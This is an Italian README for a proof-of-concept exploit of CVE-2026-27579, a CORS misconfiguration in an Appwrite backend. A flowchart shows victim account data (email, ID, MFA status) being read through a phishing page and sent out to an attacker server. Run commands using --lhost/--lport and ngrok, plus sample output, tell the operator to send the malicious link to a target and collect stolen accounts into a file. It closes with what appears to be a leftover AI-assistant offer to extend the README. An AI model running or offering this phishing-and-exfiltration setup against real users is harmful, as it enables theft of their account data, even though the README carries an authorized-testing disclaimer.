
Exploit PoC per CVE-2026-27579, una configurazione CORS errata nel backend di Appwrite, che dimostra il furto di dati dell'account con credenziali tramite una pagina di phishing dannosa.
CVE-2026-27579 – Perdita di Dati dell'Account Autenticato tramite CORS Permissivo
CVE-2026-27579 (GHSA-qh5m-p8jh-hx88)
Una grave misconfigurazione CORS nel backend Appwrite utilizzato dalla realtime-collaboration-platform consente a un'origine controllata dall'attaccante di leggere dati sensibili degli utenti autenticati (email, ID utente, stato MFA, ecc.) da vittime con sessione attiva tramite richieste cross-origin con credenziali.
/v1/account con riflessione di Access-Control-Allow-Origin + Access-Control-Allow-Credentials: trueflowchart TD
A[La vittima è autenticata\nCollabPlatform / Appwrite] --> B[La vittima visita una pagina controllata dall'attaccante\nlink di phishing / malvertising]
B --> C[Il browser invia GET /v1/account\ncon cookie di sessione credentials: 'include']
C --> D[Appwrite riflette l'Origine arbitraria\nAccess-Control-Allow-Origin: evil.com]
D --> E[Access-Control-Allow-Credentials: true]
E --> F[Il browser consente a JavaScript di leggere la risposta\nemail, $id, mfa, name, ...]
F --> G[Dati esfiltrati al server dell'attaccante\nPOST /collect]
G --> H[L'attaccante riceve i dettagli completi dell'account]
--lhost e --lport personalizzatipip install flask
# Utilizzo base
python3 exploit.py --lhost 192.168.1.100 --lport 8000
# Utilizzo con dominio / IP pubblico
python3 exploit.py --lhost attacker.yourdomain.com --lport 8080
# Per esposizione pubblica (consigliato)
# 1. Esegui lo script
# 2. Usa ngrok: ngrok http 8000
# 3. Sostituisci http://<lhost>:<lport> nel codice con il tuo URL ngrok
# (oppure esegui di nuovo con --lhost = il-tuo-url-ngrok.ngrok-free.app)
Esempio di output durante l'esecuzione:
[*] Avvio del server dannoso → http://192.168.1.100:8000
[*] Invia questo link al bersaglio:
http://192.168.1.100:8000/
La vittima visita il link mentre è autenticata → i dati appaiono nel terminale + salvati in stolen_accounts.txt
Questo codice è fornito esclusivamente a scopo educativo, per test di sicurezza autorizzati, esercitazioni red-team e ricerca sulle vulnerabilità.
L'uso non autorizzato contro qualsiasi sistema o individuo senza esplicita autorizzazione scritta è illegale nella maggior parte delle giurisdizioni (frode informatica, accesso non autorizzato, furto di dati, leggi sul phishing, ecc.).
Utilizza solo in ambienti di tua proprietà o per i quali hai il permesso formale di testare.
Mohammed Idrees Banyamer
Ricercatore di Sicurezza
Giordania
Instagram: @banyamer_security
Sentiti libero di copiare-incollare direttamente questo contenuto nel tuo file README.md.
Se vuoi aggiungere screenshot, cambiare i colori dei badge, aggiungere altre sezioni (Demo, Mitigazione, ecc.), o includere badge di licenza / contatori di stelle / fork — fammelo sapere e posso estenderlo.